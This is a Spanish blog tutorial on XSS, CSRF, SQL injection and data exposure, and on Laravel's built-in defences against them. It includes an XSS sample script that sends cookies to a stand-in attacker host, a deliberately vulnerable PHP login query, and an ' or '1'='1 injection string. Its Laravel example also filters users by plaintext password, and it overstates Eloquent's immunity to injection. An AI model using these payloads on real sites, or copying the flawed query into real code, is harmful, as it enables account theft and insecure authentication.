Go to homepage Himmlisch Studios Icon

Vulnerabilidades en aplicaciones web y cómo Laravel las resuelve

BY Luan Himmlisch

6 min

Posted on

En la actualidad, la habilidad de desarrollar aplicaciones de manera rápida es sorprendente. Tan solo hace falta mirar al stack de tecnologías TALL, stack que le permite a Tailwind CSS, AlpineJS, Laravel y Livewire; juntos, hacer un tipo de Liga de la Justicia, ya que no solo permiten desarrollar aplicaciones enterprise de manera rápida y sencilla, sino que también les otorga superpoderes, como la habilidad de reactividad compleja sin nada de JavaScript.

Pero esto lleva a sus desventajas, pues tantas capas de abstracción, llevan a una mayor superficie de ataques.

¿Entonces deberíamos hacer todas nuestras aplicaciones desde cero?¡No!.

Los framework, no solo nos ayudan en darnos un marco de trabajo, sino que también, muchos de ellos, nos otorgan seguridad por defecto. Así, a pesar de las capas de abstracción, puedes confiar que cada una de ellas está bien protegida. Claro, todo mientras nosotros mismos no las vulneremos con el código que escribamos. Por lo que hoy, daremos un repaso a los tipos de ataques web más frecuentes y cómo Laravel nos ayuda a protegernos.

Tipos de ataques

Cross-Site Scripting

Cross-Site Scripting (XSS) es una vulnerabilidad donde un atacante inyecta scripts maliciosos en páginas web visitadas por otros usuarios. Estos scripts pueden robar datos, secuestrar sesiones o realizar acciones en nombre de la víctima sin su conocimiento.

Es causado, mayormente, por la incorrecta sanitización de valores de entrada de clientes, que posteriormente se muestra en alguna vista HTML.

Esto permite que algún usuario malicioso o con cuenta vulnerada pudiera, por ejemplo, poner en la descripción de su perfil el siguiente código.

<script>
    alert("Haz sido vulnerado");
    fetch("https://sitio-malo.ejemplo/api/datosRobados", {
        method: 'POST',
        body: JSON.stringify({
            // Obtención de cookies y otros...
        })
    });
</script>

Y se pudiera ejecutar en la visualización de dicho perfil, robando los datos de todos los que se topen con esta descripción vulnerada.

Solución

Toda vista de Laravel, pasa por un proceso de transformado por el intérprete del lenguaje Blade. En este proceso, cada variable que inyectamos, es escapada, significando que se remueve todo carácter especial de HTML, para evitar que las variables sean tratadas como tal.

Con la descripción del ejemplo anterior, haría que esta vista:

<h2>Descripción de perfil</h2>
<div>
    {{ auth()->user()->description }}
</div>

Fuera enviada al navegador a algo similar a esto:

<h2>Descripción de perfil</h2>
<div>
    &lt;script&gt;
        alert(&quot;Haz sido vulnerado&quot;);
        fetch(&quot;https://sitio-malo.ejemplo/api/datosRobados&quot;, {
            method: &#039;POST&#039;,
            body: JSON.stringify({
                // Obtención de cookies y otros...
            })
        });
    &lt;/script&gt;
</div>

Imposibilitando la ejecución de scripts inyectados maliciosamente.

Si quisiéramos no escapar nuestras variables, podemos inyectarlas usando {!! !!} en vez de {{ }}; sin embargo, estarías corriendo los riesgos ya mencionados si no cuentas con un proceso de sanitización previo a la inyección.

Cross-Site Request Forgery

Esta vulnerabilidad es probablemente la más conocida, ya que al hacer cualquier formulario, Laravel mismo te dice que incluyas el @csrf, pero ¿por qué?

El Cross-Site Request Forgery (CSRF), es un ataque donde un mal actor engaña a un usuario para que realice acciones no deseadas en un sitio web donde está autenticado. Teniendo endpoints sin protección CSRF, permite a un atacante reconocer los datos necesarios de estos endpoints y ejecutarlos, potencialmente con las credenciales de un usuario, sin su consentimiento, fuera de tu sistema. Permitiendo automatizaciones peligrosas de bots en tus formularios.

Solución

Cómo ya se mencionó, Laravel, por defecto, no permite ninguna petición a ningún endpoint sin tener incluida la directiva @csrf.

<form action="{{ route('my.endpoint') }}" method="POST">
    @csrf
    <!-- .Tus demás inputs.. -->
</form>

Esto, lo que hace es insertar un input oculto, con una cadena de texto aleatoria, llamada token CSRF, que se genera por cada petición, y se valida en la siguiente.

<head>
    <meta name="csrf-token" content="7YC0Sxth7AYe4RFSjzaPf2ygLCecJhPbyXhz6vvF" />
</head>

 <body>
    <form action="{{ route('my.endpoint') }}" method="POST">
        <input type="hidden" value="7YC0Sxth7AYe4RFSjzaPf2ygLCecJhPbyXhz6vvF" />
        <!-- .Tus demás inputs.. -->
    </form>
</body>

Si el token es diferente al que se generó en la anterior petición, quiere decir que alguien está tratando de acceder a ese endpoint fuera de tu sitio.

Hacerse notar que es común que se incluya, en los layouts, el token CSRF como etiqueta <meta> para que puedas utilizarlo en llamadas asíncronas con JavaScript.

SQL Injection

El SQL Injection es una vulnerabilidad que permite a un atacante manipular las consultas SQL que se hacen internamente en tu sistema, por medio de código malicioso inyectado en la entrada del cliente. Permitiendo acceder, modificar o eliminar datos en la base de datos de forma no autorizada.

El siguiente código de PHP nativo, por ejemplo, es vulnerable:

<?php
// Entrada del usuario sin sanitizar
$username = $_GET['username'];
$password = $_GET['password'];

// Consulta SQL vulnerable
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

$result = mysqli_query($connection, $query);
?>

Un actor malicioso puede enviar un usuario llamado ' or '1'='1, haciendo que la consulta se lea como:

SELECT * FROM users WHERE username = '' or '1'='1' AND password = 'contraseña'

Como '1' = '1' siempre será verdadero, las restricciones WHERE que hicimos son completamente saltadas.

Solución

Un programador de Laravel no usa SQL para hacer peticiones a la Base de Datos. Toda interacción, con la base de datos, se hace por medio de los modelos y a su vez de Eloquent ORM.

Por lo que, el anterior código de PHP nativo, se vería así en Laravel:

App\Models\User::where('username', request()->username)->where('password', request()->password)->get();

Este código es completamente inmune a inyecciones de SQL, puesto que Eloquent hace el trabajo por nosotros de escapar las variables e inyectarlas correctamente en la petición SQL que se termina haciendo a la base de datos.

Hacer notar que, de todas maneras, se debería agregar un paso de validación por cada entrada de un cliente antes de hacer cualquier acción con ellas.

Exposición de datos sensibles

El Sensitive Data Exposure es una vulnerabilidad que ocurre cuando información confidencial (como contraseñas, tarjetas de crédito o datos personales) es expuesta o accesible debido a una protección inadecuada, como la falta de cifrado o el uso de protocolos inseguros, lo que permite a atacantes robar o interceptar esos datos fácilmente.

Solución

Laravel incluye diversas utilidades criptográficas para que uses en tu lógica de negocios.

De primeras, el modelo de User por defecto, está configurado para usar hashing en la columna de contraseña, para que, si se llega a exponer el dato, sea inutilizable.

El hashing, es una manera de convertir información en un código único que no puede revertirse a su forma original.

class User extends Authenticatable
{
    protected function casts(): array
    {
        return [
            'password' => 'hashed',
        ];
    }
}

Otra herramienta, que Laravel ofrece, es la configuración $hidden en los modelos de Eloquent. Nos sirve para definir, explícitamente, qué atributos de tu modelo nunca deberían ser serializados y enviados a un cliente.

class User extends Authenticatable
{
    protected $hidden = ['password'];
}

Una tercera utilidad, son los helpers encrypt() y decrypt(), que nos sirven para encriptar y desencriptar información. Se puede configurar, para que un modelo lo use automáticamente, de manera similar al hashing.

class User extends Authenticatable
{
    protected function casts(): array
    {
        return [
            'password' => 'hashed',
            'credit_card' => 'encrypted'
        ];
    }
}

Todas estas utilidades son usadas de diferentes maneras dentro del Framework para, por ejemplo, encriptar las cookies de sesión, agregando capas extra a la seguridad de tu sitio.

Todo el funcionamiento criptográfico de Laravel depende de la llave criptográfica generada aleatoriamente en el archivo .env, por lo que es importante nunca expongas este archivo en ningún repositorio de Git.

Fuentes

  • OWASP Top Ten. Open Worldwide Application Security Project. https://owasp.org/www-project-top-ten/
  • Laravel Docs. Laravel. https://laravel.com/docs